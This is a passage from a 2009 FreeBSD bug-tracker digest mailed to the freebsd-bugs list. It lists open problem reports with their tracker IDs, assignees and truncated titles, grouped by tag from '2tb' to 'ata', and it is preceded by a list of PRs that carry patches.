Manpage patch for aue(4) to enable HomePNA fun o kern/61300 [aue] [patch] Enabling HomePNA PHY on aue(4) for HomeP o bin/61239 [patch] bootp enhancement, places the dhcp tags into t o kern/60963 [pecoff] [patch] Win32 Applications abort on PECOFF o bin/60892 [patch] added -p option to kldxref(8) to allow creatio o bin/60834 [patch] ftpd(8) send_data()+oldway: anonymous transfer o kern/60697 [pty] [patch] pseudo-tty hack versus telnet race cause o kern/60677 multimedia [sound] [patch] No reaction of volume controy key on I s ports/60558 portmgr [PATCH] bsd.port.mk: automatically verify GnuPG signat o kern/60550 silby [kernel] [patch] hitting process limits produces sub-o p kern/60307 [pccard] [patch] wrong product id in pccarddevs for Sp s kern/60293 net [patch] FreeBSD arp poison patch o kern/59903 [pci] [patch] "pci_find_device" returns [only/at] the o bin/59777 [patch] ftpd(8)/FreeBSD 5: potential username enumerat o bin/59775 [patch] ftpd(8)/FreeBSD 5: incorrect reply for "unimpl o bin/59774 [patch] ftpd(8)/FreeBSD 5: syslog facility may be chan o bin/59772 [patch] ftpd(8)/FreeBSD 5: support for tcp_wrappers in o docs/59735 kensmith [patch] Adding a reference to Icelandic Rsync to mirro o bin/59708 sysinstall(8): [patch] add sSMTP support for Mail sele o usb/59698 usb [keyboard] [patch] Rework of ukbd HID to AT code trans o conf/59600 [patch] Improved us.emacs.kbd mapping o bin/59564 [patch] from(1) add option (-S) to also display subjec o www/59307 remko [patch] xml/xsl'ify & update publications page o kern/59289 [bktr] [patch] ioctl METEORGBRIG in bktr_core.c forget o docs/59240 blackend [patch] handbook update: linux MATLAB o bin/59220 obrien [patch] systat(1) device select (:only) broken o docs/59044 doc [patch] doc.docbook.mk does not properly handle a sour o conf/58939 rc [patch] dumb little hack for /etc/rc.firewall{,6} o kern/58803 [kernel] [patch] kern.argmax isn't changeable even at p kern/58687 deischen [libc] [patch] gethostbyname(3) leaks kqueue file desc o bin/58483 [patch] mount(8): allow type special or node relative o bin/58012 [patch] tftpd(8) Multihomed tftpd enhancement o bin/57715 [patch] tcopy(1) enhancement o kern/57631 jhb [agp] [patch] boot failing for ALi chipsets o kern/57522 [patch] New PID allocater algorithm from NetBSD o conf/57517 [patch] add parameter for /etc/periodic/daily/210.back s bin/57407 [patch] Better NTP support for dhclient(8) and friends o docs/57298 blackend [patch] add using compact flash cards info to handbook s bin/57255 usb [patch] usbd(8) and multi-function devices s amd64/57250 kmacy [amd64] [patch] Broken PTRACE_GETFPREGS and PTRACE_SET s bin/57088 [cam] [patch] for a possible fd leak in libcam.c s bin/57018 [patch] convert growfs(8) to use libufs(3) o conf/56934 rc [patch] rc.firewall rules for natd expect an interface o bin/56648 [patch] enable rcorder(8) to use a directory for locat o bin/56447 [patch] extend mt(1) command for AIT-2 tape drives o kern/56250 [ums] [patch] ums(4) doesn't work with MCT based PS/2 o kern/55984 ipfw [ipfw] [patch] time based firewalling support for ipfw o docs/55883 kensmith [patch] handbook advanced-networking/chapter.sgml s ports/55841 portmgr [patch] Mk/bsd.port.mk: add routines to use ${PORTSDIR a kern/55542 andre [de] [patch] discard oversize frame (ether type 800 fl o bin/55539 [patch] Parse fstab(5) with spaces in path names o misc/55387 [build] [patch] users LD_LIBRARY_PATH can interfere wi p kern/55018 andre [digi] [patch] Digiboard PC/Xem fails to initialize wh o conf/55015 [patch] 700.kernelmsg: Security check output enhacemen o kern/54891 [libalias] [patch] libalias(3)/natd(8) and exporting c o kern/54604 pjd [kernel] [patch] make 'ps -e' procfs-independent o bin/54594 [patch] make(1) apply regexps to the entire variable - o docs/54461 kensmith [patch] Possible additions to Handbook (Basics and Use p bin/54446 flz [patch] pkg_delete(1) doesn't honour symlinks, portupg o kern/54439 [sysctl] [patch] Protecting sysctls variables by given o bin/54401 [patch] pppstats(8) prints 0 for absolute values in ra o kern/54383 net [nfs] [patch] NFS root configurations without dynamic o bin/54365 [patch] add -u option to install(1) for SysV compatibi o conf/54170 [patch] error from weekly periodic script 330.catman s stand/53682 [feature request] [patch] add fuser(1) utility o bin/53341 sysinstall(8): [patch] dump frequency in sysinstall is f kern/52980 mbr [dc] [patch] dc driver fails to init Intel 21143 Cardb s ports/52765 portmgr [patch] Uncompressing manual pages may fail due too "a o kern/52725 [patch] installincludes for kmods s ports/52706 portmgr [patch] bsd.port.mk issues warning if a site is explic o kern/52623 [ex] [patch] IRQ error in driver for the Intel EtherEx s docs/52071 delphij [patch] Add more information about soft updates into a s usb/51958 usb [urio] [patch] update for urio driver o kern/51583 fs [nullfs] [patch] allow to work with devices and socket s kern/51341 remko [ipfw] [patch] ipfw rule 'deny icmp from any to any ic o kern/51274 ipfw [ipfw] [patch] ipfw2 create dynamic rules with parent o ports/51152 portmgr [patch] bsd.port.mk: generic SHEBANG_FILES o bin/51148 [patch] Control the cache size for pwd_mkdb(8) to spee s bin/51137 [patch] config(8) should check if a scheduler is selec o bin/51070 [patch] add -p option to pom(6) o kern/51009 [aue] [patch] buggy aue driver fixed. s kern/50827 [kernel] [patch] [request] add sane record locking o docs/50773 jmg [patch] NFS problems by jumbo frames to mention in bge o kern/50526 [kernel] [patch] update to #! line termination o kern/50310 [libalias] [patch] natd / libalias fix to allow dcc re o bin/50300 [patch] make the loader(8) use of terminal-control seq o docs/50211 doc [patch] doc.docbook.mk: fix textfile creation o misc/50106 [build] [patch] make 'make release' more flexible behi o kern/49039 [sio] [patch] add support for RS485 hardware where dir a bin/49023 gad [patch] to lpd(8) (printjob.c) to pass source filename s bin/48962 des [patch] modify fetch(1) to allow bandwidth limiting p bin/48730 obrien [patch] burncd(8) does not handle signals and causes d o gnu/48638 [libdialog] [patch] some bug fixes in libdialog o bin/48603 [patch] getopt(1) is broken o kern/48599 [syscons] [patch] syscons cut-n-paste logic is broken o kern/48471 pjd [jail] [patch] [request] private IPC for every jail o conf/48444 [patch] security.functions: count connection attempts o bin/48443 mtm [patch] periodic(8) executes too many files o conf/48325 [patch] /etc/periodic/security/100.chksetuid doesn't w o bin/48183 marcel [patch] gdb(1) on a core(5)-file from a threaded proce o kern/48172 ipfw [ipfw] [patch] ipfw does not log size and flags o conf/48133 [patch] /etc/rc: improved vi recovery notification o docs/48101 doc [patch] add documentation on the fixit disk to the FAQ p docs/47818 trhodes [patch] ln(1) manpage is confusing o bin/47815 [patch] stty(1) -all should work. o docs/47594 remko [patch] passwd(5) incorrectly states allowed username o bin/47576 edwin [patch] factor(6)ing of negative numbers o conf/47566 [vinum] [patch] add vinum status verification to perio o bin/47540 [patch] Make natd(8) configurable in running state wit o kern/46973 [syscons] [patch] [request] syscons virtual terminals o bin/46888 gad [patch] Add script run hook to newsyslog(8) o bin/46758 [patch] moused(8) enhancements o bin/46676 ru [patch] [build] bsd.dep.mk restricts domain of tags co o bin/46352 [patch] login(1) open file descriptors and signal hand o bin/46328 gad [patch] patch for lpd(8) o kern/46159 ipfw [ipfw] [patch] [request] ipfw dynamic rules lifetime f o kern/45729 [libexec] [patch] make rbootd transfer the default fil o conf/45704 [patch] request to change cp866b font to cp866 s bin/45547 [patch] make burncd(8) handle .wav files. o bin/45529 gcooper [patch] hexdump(1) core-dumps with certain args o bin/45333 [patch] New option -r for chown(8) and chgrp(1) o conf/45226 rc [patch] Fix for rc.network, ppp-user annoyance o conf/45222 [patch] daily rejected mail hosts report too long p bin/45193 [patch] truss(1) can't truss itself o docs/45011 trhodes [patch] style(9): '->' and '.' don't require spaces o gnu/44984 bugmeister [patch] send-pr(1) can use environmental variable $FRO o conf/44717 [patch] update login.conf and unify login capabilities o gnu/44564 peter [patch] Aborted cvs session causes an endless loop in o kern/44365 [headers] [patch] introduce ulong and unchar types o kern/44267 [sio] [patch] One more modem PNP id for /usr/src/sys/i o kern/44202 [rp] [patch] -stable rp driver does not work with mult o conf/44170 rc [patch] Add ability to run multiple pppoed(8) on start o kern/43905 jmg [kqueue] [patch] kqueues: EV_SET(kevp++, ...) is non-i o docs/43823 doc [patch] update to environ(7) manpage o bin/43819 [patch] changed truss(1) output for utrace calls o kern/43716 [puc] [patch] puc driver does not recognize Lava Dual- o kern/43616 [zlib] [patch] static-ize some functions in sys/net/zl o kern/43611 [crypto] [patch] static-ize some symbols in sys/crypto o bin/43582 [patch] passwd(1) fails on nonexistent users o kern/43577 [kernel] [patch] [request] new kernel option SHUTDOWN_ o conf/43500 [patch] rc.syscons "allscreens" improvements o bin/43434 [patch] new option to dmesg(8) which allows to display o bin/42974 [patch] syslogd(8): add ISO 8601 date format option o kern/42429 [libc] [patch] hash_action called with HASH_DELETE doe o kern/42422 [libc] [patch] dbm_delete returns -1 instead of 1 when o kern/42387 [librpcsvc] [patch] cleaning code of librpcsvc from wa o kern/42386 [libkvm] [patch] cleaning code from warnings in libkvm o bin/42336 [patch] ISO-fication of /usr/src/contrib/tcp_wrappers: o kern/42274 [kernel] [patch] Convert defined variable into tuneabl o misc/42115 luigi [picobsd] [patch] fix build script for 4.6-STABLE s bin/41947 gcooper [patch] hexdump(1) unprintable ASCII enhancement o docs/41879 hrs [patch] cleanup to DOCROOT/share/sgml/freebsd.dsl o docs/41824 murray [patch] LANG is not documented in setlocale(3) o bin/41817 [patch] pw(8): pw groupshow doesn't include the login o conf/41777 [patch] /etc/periodic/daily/100.clean-disks removes li o bin/41674 [patch] iostat(8) column formatting overlaps a bin/41583 [patch] mtree(8) assorted mtree bugs o bin/41556 obrien [patch] wtmp patch for ftpd(8) o kern/41543 emulation [patch] [request] easier wine/w23 support o kern/41307 [libalias] [patch] logging of links lifecycle (add/del o bin/41271 matteo [patch] non-suid crontab(1) o bin/41190 [patch] sed(1) report the { linenum instead of EOF lin o bin/41159 [patch] new sed(1) -c option to allow ; as a separator o conf/40777 [patch] disktab does not support 2.88MB floppies o bin/40597 [patch] add fdisk(8) ability of showing extended parti o kern/40369 [kernel] [patch] rman_reserve_resource - when "count > a bin/40282 [patch] kill(1) has bad error checking for command lin s kern/40021 [build] [patch] use ld(1) to build kernel with linked- o kern/40017 [patch] allows config(8) to specify config metadata di s threa/39922 threads [threads] [patch] Threaded applications executed with o kern/39681 [sysctl] [patch] add hidden kernel boot tunables to sy o ports/39660 portmgr [patch] add ${PKGNAMEPREFIX} to (DOCS|EXAMPLES)DIR o conf/39505 [patch] automate BUILDNAME variable for releases o bin/39463 mtm [patch] Add several options to fingerd(8) o kern/39252 [syscons] [patch] syscons doesn't support 8-bit contro o kern/39201 emulation [linux] [patch] ptrace(2) and rfork(RFLINUXTHPN) confu o docs/38982 doc [patch] developers-handbook/Jail fix o bin/38727 [patch] mptable(1) should complain about garbage argum a kern/38554 net [patch] changing interface ipaddress doesn't seem to w s kern/38347 [libutil] [patch] [request] new library function abs2r o bin/38256 [patch] linking pax(1) to pax_{cpio|tar} o bin/38168 [patch] [request] installing curses-based versions of o docs/38061 ume [patch] typos in man pages for faith(4) & faithd(8) o gnu/37910 bugmeister [patch] make send-pr(1) respect &'s in /etc/{master.}p o bin/37844 [patch] [build] make knob to not install progs with su o conf/37569 matteo [patch] Extend fstab(5) format to allow for spaces in o kern/37555 [kernel] [patch] vnode flags appear to be changed in n o kern/37554 jmg [vm] [patch] make ELF shared libraries immutable once o i386/37523 davidxu [i386] [patch] lock for bios16 call and vm86call o bin/37442 [patch] sleep(1) to support time multipliers s kern/37441 davidxu [isa] [patch] ISA PNP parse problem o bin/37437 [patch] [request] Add HTTP-style support to vis(1)/unv o bin/37083 [patch] [request] small improvement to talk(1): add cl o bin/37013 [patch] ls(1) directory name output trailing slash dup o gnu/36926 bugmeister [patch] send-pr destroys PR if emacs interrupt charact o kern/36916 randi [libdisk] [patch] DOS active partition flag lost in li o kern/36902 [libc] [patch] proposed new format code %N for strftim o bin/36556 [patch] regular expressions for tcpwrappers o bin/36553 gad [patch] [request] Two new features in newsyslog(8) a kern/36451 [bktr] [patch] Japan IF frequency is incorrect o kern/36415 [bktr] [patch] driver incorrectly handles the setting o bin/36374 [patch] apmd(8): fix core dumps, other improvements o bin/36262 [patch] Fixed rusers(1) idle-time reporting to use min o kern/36170 [an] [patch] an(4) does an_init() even if interface is o bin/36143 [patch] moused(8): add dynamic (non linear) mouse acce o bin/35886 [patch] pax(1) enhancement: custom time format for lis o conf/35545 [patch] enhanced periodic scripts: 100.clean-disks, 10 o misc/35542 bde [build] [patch] BDECFLAGS needs -U__STRICT_ANSI__ o kern/35442 net [sis] [patch] Problem transmitting runts in if_sis dri o kern/35289 [bktr] [patch] Brooktree device doesnt properly signal o kern/35262 [boot2] [patch] generation of boot block for headless o bin/35113 [patch] grdc(6) enhancement: countdown timer mode o bin/35109 edwin [patch] morse(6) add ability to decode morse code o kern/34842 [nis] [patch] VmWare port + NIS causes "broadcast stor o bin/34628 portmgr [patch] pkg_add(1) pkg-routines ignore the recorded md o bin/34412 [patch] tftp(1) will still try and receive traffic eve o kern/33965 [keyboard] [patch] programmable keys of the keyboard ( o bin/33809 mux [patch] mount_nfs(8) has trouble with embedded ':' in o bin/33774 [patch] for killall(1) s docs/33589 doc [patch] to doc.docbook.mk to post process .tex files. o bin/32808 dwmalone [patch] tcpd.h lacks prototype for hosts_ctl s threa/32295 threads [libc_r] [patch] pthread(3) dont dequeue signals o bin/31987 [patch] allow dump(1) to notify operators by mail(1) o kern/31981 [libc] [patch] (mis)feature in getnetent parsing -- co o kern/31890 [syscons] [patch] new syscons font s bin/31304 [patch] fix crunchgen(1) to work with more contrib-kin o kern/31201 [libdisk] [patch] add free_space(chunk) to libdisk o conf/30938 [patch] Improving behavior of /etc/periodic/daily/110. o usb/30929 usb [usb] [patch] use usbd to initialize USB ADSL modem o conf/30812 [patch] giant termcap database update o bin/30654 gad [patch] Added ability for newsyslog(8) to archive logs o bin/30542 [patch] add -q option to shut up killall(1) o conf/30399 brueffer [bsd.cpu.mk] [patch] Have Fortran use the CPUTYPE vari o kern/30321 [patch] strftime(3) '%s' format does not work properly o kern/30052 mbr [dc] [patch] dc driver queues outgoing pkts indefinite a docs/30008 doc [patch] French softupdates document should be translat o bin/29897 des [patch] pam_unix(8) loginclass passwd_prompt o kern/29698 emulation [linux] [patch] linux ipcs doesn'work s kern/29423 [request] [patch] new feature: kernel security hooks i o bin/29363 gad [patch] newsyslog(8) can support time as extension o kern/29355 mux [kernel] [patch] add lchflags support s bin/29292 [patch] addition to burncd(8) for specific handling of o bin/28364 [patch] flex(1) generated files fail to compile cleanl o conf/28236 [patch] iso-8859-1_to_cp437.scm doesn't contain some u o docs/27605 doc [patch] Cross-document references () o bin/27306 marcel [patch] hw watchpoints work unreliable under gdb(1) o kern/26787 [patch] sysctl change request o kern/26562 [lpt] [patch] /dev/lpt0 returns EBUSY when attempting o bin/26486 remko [libc] [patch] setnetgrent hangs when netgroup contain s bin/25477 [pam] [patch] pam_radius(8) fix to allow null password f kern/24959 kmacy [patch] proper TCP_NOPUSH/TCP_CORK compatibility o bin/24485 [patch] to make cron(8) handle clock jumps o kern/24435 [libdisk] [patch] changing slice type causes Auto-part o bin/23562 markm [patch] telnetd(8) doesn't show message in file specif o kern/23546 multimedia [snd_csa] [patch] csa DMA-interrupt problem a bin/23254 [patch] yacc(1) accepts bad grammer o bin/23098 sysinstall(8): [patch] if installing on a serial conso o conf/23063 net [arp] [patch] for static ARP tables in rc.network s i386/22944 alc [vm] [patch] isa_dmainit fails on machines with 512MB s kern/22417 gibbs [adw] [patch] advansys wide scsi driver does not suppo o kern/21998 kmacy [socket] [patch] ident only for outgoing connections a kern/21807 trhodes [msdosfs] [patch] Make System attribute correspond to o conf/21675 [patch] Better and more disktab entries for MO drives a bin/21089 [patch] vi(1) silently corrupts open file on SIGINT wh o bin/20501 [patch] dump(8) extra flag to dump to offline autoload o bin/19837 ambrisko sysinstall(8): [patch] run Fix It floppy from serial p s bin/19773 markm [patch] telnet(1) infinite loop depending on how fds a s kern/19535 [procfs] [patch] procfs_rlimit tidyup o kern/18293 [psm] [patch] lack of versapad mouse wheel emulation o kern/18271 [patch] simplelock: klds not portable across UP and SM o bin/18100 [patch] update to src/usr.bin/from/from.c for multiple o kern/17504 [cam] [patch] Another Micropolis Synchronize Cache Pro o kern/17425 [ppbus] [patch] fix two small printing errors in ppbus o bin/17289 gad [patch] wrong permissions on /var/run/printer o kern/16644 dwmalone [bpf] [patch] Bad comparison expression in bpf_filter. o kern/15838 trhodes [msdosfs] [patch] Conversion tables in msdosfs_conv.c o bin/15619 peter [patch] standard pppd(8) doesn't authenticate users wi o bin/15205 [patch] Addition to random(6) o bin/15168 [patch] Adding tracklist support to fdformat(1) p conf/15010 keramida [patch] rc.firewall: "client" firewall configuration k s kern/13997 rwatson [jail] [patch] RLIMIT_NPROC works unadequately for jai f kern/13326 kmacy [headers] [patch] additional timeval interfaces for Delivered-To: freebsd-bugs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3E48B1065A6A for ; Mon, 13 Jul 2009 11:13:07 +0000 (UTC) (envelope-from owner-bugmaster@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 1BB288FC25 for ; Mon, 13 Jul 2009 11:13:07 +0000 (UTC) (envelope-from owner-bugmaster@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DBD7Hu050895 for ; Mon, 13 Jul 2009 11:13:07 GMT (envelope-from owner-bugmaster@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DB8pQH042678 for freebsd-bugs@FreeBSD.org; Mon, 13 Jul 2009 11:08:51 GMT (envelope-from owner-bugmaster@FreeBSD.org) Date: Mon, 13 Jul 2009 11:08:51 GMT Message-Id: <200907131108.n6DB8pQH042678@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: gnats set sender to owner-bugmaster@FreeBSD.org using -f From: FreeBSD bugmaster To: FreeBSD bugs list Cc: Subject: Current problem reports sorted by tag X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 11:13:20 -0000 (Note: a better version of this report is available at http://people.freebsd.org/~linimon/studies/prs/pr_tag_index.html .) Problem reports for tag '2tb': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135992 [ar] [2tb] ar(4) driver can NOT drive over 2TB HDD o kern/118912 fs [2tb] disk sizing/geometry problem with large array s bin/111146 fs [2tb] fsck(8) fails on 6T filesystem o bin/107829 fs [2TB] fdisk(8): invalid boundary checking in fdisk / w o kern/84589 fs [2TB] 5.4-STABLE unresponsive during background fsck 2 o kern/79251 geom [2TB] newfs fails on 2.6TB gbde device o kern/18874 fs [2TB] 32bit NFS servers export wrong negative values t 7 problems total. Problem reports for tag 'aac': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135408 [aac] Adaptec 5405 RAID controller hanging under high o kern/128165 [aac] [patch] sync aac(4) with the latest vendor versi o kern/126697 emaste [aac] aac driver bug. aaccli still doesn't work o kern/123666 scsi [aac] attach fails with Adaptec SAS RAID 3805 controll o kern/103615 emaste [aac] [patch] aac(4) update to the last version availa o kern/91910 scottl [aac] [regression] aac driver hangs on Dell PE800 with 6 problems total. Problem reports for tag 'acd': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/133253 i386 [acd] Error mounting install image 1 problem total. Problem reports for tag 'acl': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/110915 rwatson [acl] ACL's don't work with SUIDDIR o kern/58941 rwatson [acl] acl under ufs2 doesn't handle disk corruption, p 2 problems total. Problem reports for tag 'acpi': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/136008 acpi [acpi] Dell Vostro 1310 will not shutdown (Requires us o kern/135070 acpi [acpi] [patch] BIOS resource allocation and FreeBSD AC o kern/132602 acpi [acpi] ACPI Problem with Intel SS4200: System does not f i386/132535 gavin [acpi] if ACPI enabled, i can't change brightness leve o kern/130683 acpi [ACPI] shutdown hangs after syncing disks - ACPI race? o i386/129953 acpi [acpi] ACPI timeout (CDROM) with Shuttle X27D o kern/129618 acpi [acpi] Problem with ACPI on HP Pavilion DV2899 laptop o kern/129563 acpi [acpi] sleep broken on IBM/Lenovo T61 in amd64 mode o i386/126162 i386 [acpi] ACPI autoload failed : loading required module o kern/124744 acpi [acpi] [patch] incorrect _BST result validation for To o kern/124412 acpi [acpi] power off error on Toshiba M40 laptop f kern/123742 [acpi] [panic] kernel panic when boot with acpi disabl o kern/123039 acpi [acpi] ACPI AML_BUFFER_LIMIT errors during boot o kern/120515 acpi [acpi] [patch] acpi_alloc_wakeup_handler: can't alloc o kern/119356 acpi [acpi]: i386 ACPI wakeup not work due resource exhaust o kern/119200 acpi [acpi] Lid close switch suspends CPU for 1 second on H o kern/118973 acpi [acpi]: Kernel panic with acpi boot o kern/117605 acpi [acpi] [request] add debug.cpufreq.highest o amd64/117316 amd64 [acpi] ACPI lockups on SuperMicro motherboard o kern/116939 acpi [acpi] PCI-to-PCI misconfigured for bus three and can o i386/114562 acpi [acpi] cardbus is dead after s3 on Thinkpad T43 with a o kern/114165 acpi [acpi] Dell C810 - ACPI problem s kern/112544 acpi [acpi] [patch] Add High Precision Event Timer Driver f o kern/108954 acpi [acpi] 'sleep(1)' sleeps >1 seconds when speedstep (Cx o kern/108695 acpi [acpi]: Fatal trap 9: general protection fault when in o kern/108488 acpi [acpi] ACPI-1304: *** Error: Method execution failed o kern/108017 acpi [acpi]: Acer Aspire 5600 o kern/106924 acpi [acpi] ACPI resume returns g_vfs_done() errors and ker o kern/105537 acpi [acpi] problems in acpi on HP Compaq nc6320 o kern/102783 [acpi] hw.acpi has thermal controls backwards when ext s kern/91038 acpi [panic] [ata] [acpi] 6.0-RELEASE on Fujitsu Siemens Am f kern/89411 acpi [acpi] acpiconf bug 32 problems total. Problem reports for tag 'acpi_fujitsu': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/121102 acpi [acpi_fujitsu] [patch] update acpi_fujitsu for the P80 1 problem total. Problem reports for tag 'acpica': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/135891 vwe [acpica] bug in acpica/psparse.c 1 problem total. Problem reports for tag 'adw': S Tracker Resp. Description -------------------------------------------------------------------------------- s kern/22417 gibbs [adw] [patch] advansys wide scsi driver does not suppo 1 problem total. Problem reports for tag 'ae': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133239 [ae] [jme] [patch] if_jme can assign duplicate MAC add 1 problem total. Problem reports for tag 'age': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136482 net [age] Attansic L1 Gigabit Ethernet recieves multicasts 1 problem total. Problem reports for tag 'agp': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/126784 [agp] agp.ko doesn't detect Acer Aspire One onboard gr o kern/118962 [agp] Intel GMA 3000 Video Controller Not Recognized U o kern/103733 [agp] i915 driver on hp dc7100: device not recognized s kern/89271 [radeon] [agp] [hang] X.org hangs when heavily using R o kern/72224 [agp] umass devices broken by DRM (AGP issue?) o kern/57631 jhb [agp] [patch] boot failing for ALi chipsets 6 problems total. Problem reports for tag 'aha': S Tracker Resp. Description -------------------------------------------------------------------------------- s kern/83765 [aha] Adaptec 1542-CP requires plug-and-play switch se 1 problem total. Problem reports for tag 'ahc': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/123674 scsi [ahc] ahc driver dumping o kern/99954 scsi [ahc] reading from DVD failes on 6.x [regression] o kern/92798 scsi [ahc] SCSI problem with timeouts o kern/74627 scsi [ahc] [hang] Adaptec 2940U2W Can't boot 5.3 s kern/45568 gibbs [ahc] ahc(A19160) pci parity error s kern/9927 gibbs [ahc] the ahc driver doesn't correctly grok switched S 6 problems total. Problem reports for tag 'ahd': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/129602 scsi [ahd] ahd(4) gets confused and wedges SCSI bus o amd64/123520 amd64 [ahd] unable to boot from net while using ahd o kern/110847 scsi [ahd] Tyan U320 onboard problem with more than 3 disks s kern/105533 [ahd] adaptec 29320 causes panic with over 4GB o kern/85768 gibbs [ahd] aic79xx driver timeouts with U160 target (free l o kern/76178 scsi [ahd] Problem with ahd and large SCSI Raid system 6 problems total. Problem reports for tag 'aic': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/124202 [aic] [patch] Add Adaptec 39320LPE to list of known de o kern/114489 scottl [aic] [panic] _mtx_lock_sleep: in aic7xxx_osm.h (with o kern/114459 [aic] [panic] FreeBSD-CURRENT crash during boot with A 3 problems total. Problem reports for tag 'altq': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/131753 net [altq] [panic] kernel panic in hfsc_dequeue s kern/94182 [altq] [request] altq support for vlan driver 2 problems total. Problem reports for tag 'amd': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/124667 scsi [amd] [panic] FreeBSD-7 kernel page faults at amd-scsi 1 problem total. Problem reports for tag 'amd64': S Tracker Resp. Description -------------------------------------------------------------------------------- o amd64/127397 amd64 [amd64] 32bit application on FreeBSD-6.3 amd64 gets SI o amd64/120202 amd64 [amd64] [patch] [panic] kernel panic at start_all_aps, o amd64/119591 amd64 [amd64] [patch] time_t on 64-bit architecture o kern/117607 [amd64] dev.cpu.0.freq not showing up any longer on am s amd64/57250 kmacy [amd64] [patch] Broken PTRACE_GETFPREGS and PTRACE_SET 5 problems total. Problem reports for tag 'amdtemp': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/125383 i386 [amdtemp] [request] please enable amdtemp on i386 1 problem total. Problem reports for tag 'amr': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/114438 [amr] Anomalous performance with multiple arrays and a o kern/113098 [amr] Cannot read from amrd while under heavy load o kern/99529 [amr] DELL PowerEdge 2600 with streamer PowerVault 100 o kern/94139 scottl [amr] [regression] amr broken with LSILogic MegaRAID S o kern/86411 scottl [amr] Very low performance of amr(4) under FreeBSD-6.0 o kern/76848 [amr] amr hangs o kern/72433 [amr] [patch] AMR raid, amrreg.h struct amr_enquery3 a o kern/71771 [amr] Hang during heavy load with amr raid controller 8 problems total. Problem reports for tag 'an': S Tracker Resp. Description -------------------------------------------------------------------------------- o bin/128602 net [an] wpa_supplicant(8) crashes with an(4) o kern/126924 net [an] [patch] printf -> device_printf and simplify prob o kern/85886 [an] [patch] an0: timeouts with Cisco 350 minipci s kern/75407 net [an] an(4): no carrier after short time o kern/36170 [an] [patch] an(4) does an_init() even if interface is 5 problems total. Problem reports for tag 'apic': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/131571 gavin [apic] [panic] Running with APIC enabled crashes a Sup o kern/81000 acpi [apic] Via 8235 sound card worked great with FreeBSD 5 2 problems total. Problem reports for tag 'ar': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135992 [ar] [2tb] ar(4) driver can NOT drive over 2TB HDD o kern/126419 [ar] Fails to boot from RAID10 volume under the Intel o kern/125759 [ar] Fatal Trap 12 when ICH9R RAID becomes degraded o kern/125496 [ar] [patch] free memory on ataraid module unload o kern/124064 [ar] [patch] cannot handle >16 serial number with Inte o kern/121899 [ar] [patch] Drive detached from Intel Matrix RAID and o kern/108924 [ar] Panics when Intel MatrixRAID RAID1 is degraded o kern/102211 [ar] [patch] detach raid member and reboot will cause o kern/101926 [ar] 6.1-STABLE crashes under heavy disk I/O and acces o kern/101819 [ar] [patch] ata driver wrongly determines type RAID o o kern/99850 [ar] ataraid hangs in g_waitidle when attaching to nVi o kern/98804 [ar] VIA V-RAID metadata mis-read (MSI K8MMV with the o kern/94393 [ar] PseudoRAID loses track of the master disk o kern/93771 [ar] [panic] atacontrol status ar1 causes panic 14 problems total. Problem reports for tag 'arcmsr': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/107206 [arcmsr] Background fsck causes kernel panic with arcm 1 problem total. Problem reports for tag 'arp': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/129730 qingli [arp]: respond with wrong ARP. f bin/127719 net [arp] arp: Segmentation fault (core dumped) o kern/125920 net [arp] Kernel Routing Table loses Ethernet Link status o kern/119432 net [arp] route add -host -iface causes arp e p kern/68189 bz [arp] [jail] [patch] arp -a discloses non-jail interfa o conf/23063 net [arp] [patch] for static ARP tables in rc.network 6 problems total. Problem reports for tag 'asr': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/102612 [asr] da0 not detected when sharing bus with ch0 devic o amd64/91405 amd64 [asr] [panic] Kernel panic caused by asr on 6.0-amd64 o kern/88047 [asr] [panic] 6.0-RC1 reboots with SMP and asr o kern/25950 obrien [asr] Bad drives on asr look zero-length and panic on 4 problems total. Problem reports for tag 'ata': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136438 mav [ata] discrepancy between 8 and earlier rel. (?) [regr o kern/136356 [ata] SATA / ICH7 problems o kern/136182 [ata] Heavy disk writes (e.g. ZFS resilver to a drive) o kern/136098 [ata] ata only getting 33 instead of 133 o kern/135690 [panic] [ata] ufs_dirbad: /backuphd: bad dir ino 22259 o kern/135497 [ata] JMicron JMB363 controller does not recognize PAT o kern/135057 [ata] [patch] New VIA SATA controller are not getting o amd64/135040 amd64 [ata] FreeBSD/amd64 does not (always) detect disk on S o kern/134520 [ata] SAS HD not detected on LSI SAS1078 (Acer Altos R f kern/134398 gavin [ata] problems with udma modes on atapi ixp600 o kern/133872 [ata] SATA300 controlled as SATA150 on ICH7R mobo o kern/133593 [ata] `atacontrol spindown` won't affect disk until so o kern/133122 [ata] TIMEOUT - READ_BIG with pata dvd-drive o amd64/132372 amd64 [ata] No disks found (nVidia nForce 